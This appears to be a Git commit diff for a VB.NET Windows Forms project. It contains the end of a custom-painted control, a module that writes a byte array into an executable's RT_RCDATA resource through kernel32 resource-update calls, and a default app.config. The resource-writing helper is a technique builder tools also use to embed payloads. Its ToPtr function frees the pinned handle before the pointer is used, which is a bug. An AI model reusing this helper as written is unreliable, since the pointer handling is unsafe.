G.DrawRectangle(P1, 0, 0, Width - 1, CInt(Height - 1))
|
||||
G.FillRectangle(New SolidBrush(Color.FromArgb(80, 35, 35, 35)), 0, 0, Width, 20)
|
||||
G.FillRectangle(New SolidBrush(Color.FromArgb(20, 20, 20)), 0, 0, Width - 1, 20)
|
||||
G.DrawRectangle(P1, 0, 0, Width - 1, 20)
|
||||
G.DrawString(Text, Font, Brushes.LightBlue, New Point(5, 3))
|
||||
Dim SubFont As Font = New Font(DefaultFont.FontFamily, Font.Size - 1)
|
||||
G.DrawString(_subtext, SubFont, New SolidBrush(Color.FromArgb(48, 48, 48)), New Point(6, 26))
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,40 @@
|
||||
|
||||
Imports System.Runtime.InteropServices
|
||||
Module ResourceWriter
|
||||
Private Function ToPtr(ByVal data As Object) As IntPtr
|
||||
Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Dim ptr As IntPtr
|
||||
Try
|
||||
ptr = h.AddrOfPinnedObject()
|
||||
Finally
|
||||
h.Free()
|
||||
End Try
|
||||
Return ptr
|
||||
|
||||
End Function
|
||||
|
||||
<DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean
|
||||
End Function
|
||||
<DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Function BeginUpdateResource(ByVal pFileName As String, <MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32.dll", SetLastError:=True)> _
|
||||
Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean
|
||||
End Function
|
||||
|
||||
Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean
|
||||
|
||||
Try
|
||||
Dim handle As IntPtr = BeginUpdateResource(filename, False)
|
||||
Dim file1 As Byte() = bytes
|
||||
Dim fileptr As IntPtr = ToPtr(file1)
|
||||
Dim res As Boolean = UpdateResource(handle, "RT_RCDATA", "0", 0, fileptr, Convert.ToUInt32(file1.Length))
|
||||
EndUpdateResource(handle, False)
|
||||
Catch ex As Exception
|
||||
Return False
|
||||
End Try
|
||||
Return True
|
||||
|
||||
End Function
|
||||
End Module
|
||||
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
||||
Reference in New Issue
Block a user